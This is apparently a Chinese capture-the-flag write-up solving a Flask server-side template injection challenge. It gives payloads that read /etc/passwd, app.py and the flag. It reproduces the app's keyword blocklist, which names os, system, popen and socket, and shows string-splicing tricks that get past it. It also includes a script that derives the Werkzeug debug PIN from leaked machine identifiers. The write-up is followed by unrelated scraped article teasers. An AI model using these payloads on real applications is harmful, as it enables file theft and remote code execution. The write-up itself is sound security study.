BUUCTF——[GYCTF2020]FlaskApp1 SSTI模板注入/PIN学习
目录
一、网页功能探索
二、SSTI注入
三、方法一
四、方法二 使用PIN码
(1)服务器运行flask登录所需的用户名
(2)modename
(3)flask库下app.py的绝对路径
(4)当前网络的mac地址的十进制数
(5)机器的id
PIN码
一、网页功能探索
当我在“解密”页面输入123时,会跳转到这个页面

非常熟悉的页面,以前在做jinjia2的时候看到过,猜测是能进行ssti模板注入的。
先在加密页面输入:{{2*3}}
得到: e3syKjN9fQ== 再去解密页面,输入

此时发现得到的是 no no no
也许是 '*' 被过滤掉了,尝试 '+' ,发现可以注入!
二、SSTI注入
先尝试文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}加密后为:
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19
解释:
(1)()和.__class__
()创建一个空元组
.__class__ 获取该对象的类,即tuple类
(2)__bases__[0]
获取基类,tuple类的基类是object类
(3)__subclasses__() [75]
获取特定子类
(4)__init__.__globals__
访问初始化方法的全局变量
(5)__builtins__
python中的内置函数,包含open,eval 函数
得到:

此时不知道flag放到哪个下面了,尝试读一下完整的app.py
三、方法一
下面的方法都是参考这位师傅的wp:
BUUCTF [GYCTF2020]FlaskApp - Amsterdamnit - 博客园
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warning' %}
{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}
{% endif %}{% endfor%}
变为一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
加密得到:
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
成功得到app.py的源码

看一下关键的地方,发现了waf
def waf(str): black_list=
["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1
过滤了一些像:flag system eval hex base * 等字符
但发现还是可以通过字符串拼接来找目录,可以这样构造(构造import 和 os):
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
发现一个文件

尝试读取这个文件,但这里因为有flag黑名单,需要进行一些绕过,尝试用python列表的特性,使字符串倒过来(this_is_the_flag)(或者直接构造'this_is_the_fl'+'ag.txt'应该也行)
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}

成功得到flag
四、方法二 使用PIN码
先来进行操作后面再看看怎么解释吧,PIN码的生成需要以下步骤:
(1)服务器运行flask登录所需的用户名
通过之前读取的/etc/passwd可以得知为: flaskweb
(2)modename
一般不变,就是flask.app
(3)flask库下app.py的绝对路径
之前报错的信息里就会泄露

得到:/usr/local/lib/python3.7/site-packages/flask/app.py
(4)当前网络的mac地址的十进制数
通过读取/sys/class/net/eth0/address 就可以得到
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}
成功得到:
fe:fa:23:fe:b7:6e
(5)机器的id
linux的id一般存放在/etc/machine-id 或 /proc/sys/kernel/random/boot_i 中
docker机则读取 /proc/self/cgroup
这里使docker机,尝试读取
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read()}}
得到:
3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02
PIN码
然后尝试PIN码
from itertools import chain
import hashlib
# 定义公共信息
probably_public_bits=['flaskweb','flask.app','Flask','/usr/local/lib/python3.7/site-packages/flask/app.py'
]
# 定义私有信息
private_bits=['fe:fa:23:fe:b7:6e','3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02'
]
# 将公共信息和私有信息拼接成一个列表
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt') # 最后追加盐值 cookiesalt# 生成Flask调试会话Cookie的名称前缀
cookie_name = '__wzd' + h.hexdigest()[:20]# 生成PIN码的中间值
num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]# 格式化PIN码
rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
得到:

318-076-921
通过之前输入错误信息跳转的页面可以得知是开启了 flask的debug模式的,再次进入错误界面

点击这个终端

输入我们的PIN码

可惜 -_-|,错哩
Flask的调试PIN码是调试的核心安全机制,若生产环境误开启调试模式,攻击者可通过获取PIN码执行任意代码
相关文章:
BUUCTF——[GYCTF2020]FlaskApp1 SSTI模板注入/PIN学习
目录 一、网页功能探索 二、SSTI注入 三、方法一 四、方法二 使用PIN码 (1)服务器运行flask登录所需的用户名 (2)modename (3)flask库下app.py的绝对路径 (4)当前网络的mac地…...
如何用Kimi生成PPT?秒出PPT更高效!
做PPT是不是总是让你头疼?😩 快速制作出专业的PPT,今天我们要推荐两款超级好用的AI工具——Kimi 和 秒出PPT!我们来看看哪一款更适合你吧!🚀 🥇 Kimi:让PPT制作更轻松 Kimi的生成效…...
数据结构(回顾)
数据结构(回顾) 回顾 不同点顺序表链表存储空间上物理上一定连续逻辑上连续,物理上不一定连续随机访问支持,时间复杂度O(1)不支持,时间复杂度O(N)任意位置插入或者删除元素可能需要挪动元素,效率低&#…...
全国产!瑞芯微3562Mini(2GHz四核A53 NPU)工业开发板规格书
评估板简介 创龙科技 TL3562-MiniEVM 是一款基于瑞芯微 RK3562J/RK3562 处理器设计的四核 AR M Cortex-A53 单核 ARM Cortex-M0 国产工业评估板,主频高达 2.0GHz。评估板由核心板和评估底板组成,核心板 CPU、ROM、RAM、电源、晶振等所有元器件均采用国…...
鸿蒙HarmonyOS评论功能小demo
评论页面小demo 效果展示 1.拆解组件,分层搭建 我们将整个评论页面拆解为三个组件,分别是头部导航,评论项,回复三个部分,然后统一在index界面导入 2.头部导航界面搭建 Preview Component struct HmNavBar {// 属性&a…...
异常(6)
今天我们继续来讲异常的内容,关于异常的捕获和声明,也是在处理异常的的重要方式,话不多说,来看. 异常的捕获 异常的捕获,也就是异常,的具体处理方式,主要有两种,主要有两种:异常声明throws以及try-catch捕获处理. 3.1异常声明throws. 处在方法声明时参数列表之后…...
精选一百道备赛蓝桥杯——2.K倍区间
解题思路 任何两个前缀区间的和对k取模的值相等,则由大的前缀区间减掉小的前缀区间所形成的区间的必定是K倍区间。因此我们可以对具有区间和%k值相等任何两个区间进行组合,再将这些值加起来就得到结果!证明: 假设一个数列为a1,a2…...
编译Telegram Desktop
目录 一、前言 二、环境准备 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8 三、编译 四、总结和学习 一、前言 Telegram 是一款全球广泛使用的即时通讯软件,以其强大的隐私保护、跨平台同步和丰富的功能而闻名。它支持一对一聊天、群组(最多20万成员&am…...
玩转python: 掌握Python数据结构之链表
链表是计算机科学中最基础的数据结构之一,也是许多高级数据结构和算法的基础。本文将带你从零开始,逐步掌握链表的概念、实现和应用。通过丰富的案例和通俗易懂的解释,你将能够轻松理解并应用链表。 什么是链表? 链表是一种线性…...
upload-labs详解(1-12)文件上传分析
目录 uploa-labs-main upload-labs-main第一关 前端防御 绕过前端防御 禁用js Burpsuite抓包改包 upload-labs-main第二关 上传测试 错误类型 upload-labs-env upload-labs-env第三关 上传测试 查看源码 解决方法 重命名,上传 upload-labs-env第四关…...
RAG系统(检索增强生成)的优化策略
RAG(检索增强生成)系统的优化可以从多个方面入手,主要包括数据、查询、检索、生成、框架和评估等几个重要环节。本文将详细介绍这些优化策略,并为每个环节提供具体的操作方法。 一、数据优化 1. 数据清洗和增强 数据质量直接影响检索和生成的效果,因此需要进行细致的数据…...
写毕业论文用哪个AI好?这6款AIGC论文工具给你答案
撰写毕业论文是一项艰巨的任务,AIGC 论文工具的出现为同学们提供了有力支持。以下 6 款工具在功能、适用场景等方面各有优势,助你高效完成毕业论文。 文赋 AI 论文 文赋 AI 论文堪称毕业论文写作的得力助手。它的生成速度令人惊叹,短短 5 分…...
loadingcache优化
问题分析 通过当前现场的火焰图进行分析 原本的loadingcache public LoadingCache<Integer, Student> map Caffeine.newBuilder().refreshAfterWrite(CONTRACT_CACHE_HOURS, TimeUnit.HOURS).maximumSize(CONTRACT_CONFIG_CACHE_SIZE).recordStats().build(key -> …...
【Vue3 Element UI - Plus + Tyscript 实现Tags标签输入及回显】
Vue3 Element Plus TypeScript 实现 Tags 标签输入及回显 在开发后台管理系统或表单页面时,动态标签(Tags) 是一个常见的功能需求。用户可以通过输入框添加标签,并通过关闭按钮删除标签,同时还需要支持标签数据的提…...
STM32 子设备通过CAN发送数据到主设备
采集ADC、GPS经纬坐标、温湿度数据、大气压数据通过CAN方式发送给主设备端,帧ID按照如下定义: 我尼玛一个标准帧ID位数据是11位,扩展帧才是111829位,它说最开头的是四位是真类型,并给我如下解释: 它把帧的定…...
Python可视化——地理空间型图表(自用)
地图信息可视化的实现就是将不可展开的曲面上的地理坐标信息转化为二维平面进行显示,这个过程也叫地图投影(空间三维投影到平面二维) 地图投影的要求:等面积、等角度、等距离。总的来说就是映射到二维平面中的任何点通过比例尺放大…...
WordPress报502错误问题解决-php-fpm-84.service loaded failed failed LSB: starts php-fpm
文章目录 问题描述问题排查问题解决 问题描述 服务器环境: php:8.4MySQL:8.0Nginx:1.26.2 在访问站点时,一直报502,而两天前还能正常访问。 问题排查 导致502的问题很多,比如站点访问量太大…...
Python在SEO中的自动化应用爬虫开发与日志分析实例
引言 搜索引擎优化(SEO)是数字营销中至关重要的一环,旨在提高网站在搜索引擎结果页面(SERP)中的排名。随着互联网数据的爆炸式增长,手动进行SEO分析和管理变得愈发困难。Python作为一种强大的编程语言&…...
thingsboard edge 在windows 环境下的配置
按照官方文档:Installing ThingsBoard Edge on Windows | ThingsBoard Edge,配置好java环境和PostgreSQL。 下载对应的windows 环境下的tb-edge安装包。下载附件 接下来操作具体如下 步骤1,需要先在thingsboard 服务上开启edge 权限 步骤2…...
nnMamba:基于状态空间模型的3D生物医学图像分割、分类和地标检测
摘要 本文提出了一种基于状态空间模型(SSMs)的创新架构——nnMamba,用于解决3D生物医学图像分割、分类及地标检测任务中的长距离依赖建模难题。nnMamba结合了卷积神经网络(CNN)的局部特征提取能力与SSMs的全局上下文建…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
3-11单元格区域边界定位(End属性)学习笔记
返回一个Range 对象,只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意:它移动的位置必须是相连的有内容的单元格…...
Mysql中select查询语句的执行过程
目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析(Parser) 2.4、执行sql 1. 预处理(Preprocessor) 2. 查询优化器(Optimizer) 3. 执行器…...
【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看
文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...
学习一下用鸿蒙DevEco Studio HarmonyOS5实现百度地图
在鸿蒙(HarmonyOS5)中集成百度地图,可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API,可以构建跨设备的定位、导航和地图展示功能。 1. 鸿蒙环境准备 开发工具:下载安装 De…...
rknn toolkit2搭建和推理
安装Miniconda Miniconda - Anaconda Miniconda 选择一个 新的 版本 ,不用和RKNN的python版本保持一致 使用 ./xxx.sh进行安装 下面配置一下载源 # 清华大学源(最常用) conda config --add channels https://mirrors.tuna.tsinghua.edu.cn…...
Linux安全加固:从攻防视角构建系统免疫
Linux安全加固:从攻防视角构建系统免疫 构建坚不可摧的数字堡垒 引言:攻防对抗的新纪元 在日益复杂的网络威胁环境中,Linux系统安全已从被动防御转向主动免疫。2023年全球网络安全报告显示,高级持续性威胁(APT)攻击同比增长65%,平均入侵停留时间缩短至48小时。本章将从…...
多元隐函数 偏导公式
我们来推导隐函数 z z ( x , y ) z z(x, y) zz(x,y) 的偏导公式,给定一个隐函数关系: F ( x , y , z ( x , y ) ) 0 F(x, y, z(x, y)) 0 F(x,y,z(x,y))0 🧠 目标: 求 ∂ z ∂ x \frac{\partial z}{\partial x} ∂x∂z、 …...
Vue 实例的数据对象详解
Vue 实例的数据对象详解 在 Vue 中,数据对象是响应式系统的核心,也是组件状态的载体。理解数据对象的原理和使用方式是成为 Vue 专家的关键一步。我将从多个维度深入剖析 Vue 实例的数据对象。 一、数据对象的定义方式 1. Options API 中的定义 在 Options API 中,使用 …...
【2D与3D SLAM中的扫描匹配算法全面解析】
引言 扫描匹配(Scan Matching)是同步定位与地图构建(SLAM)系统中的核心组件,它通过对齐连续的传感器观测数据来估计机器人的运动。本文将深入探讨2D和3D SLAM中的各种扫描匹配算法,包括数学原理、实现细节以及实际应用中的性能对比,特别关注…...
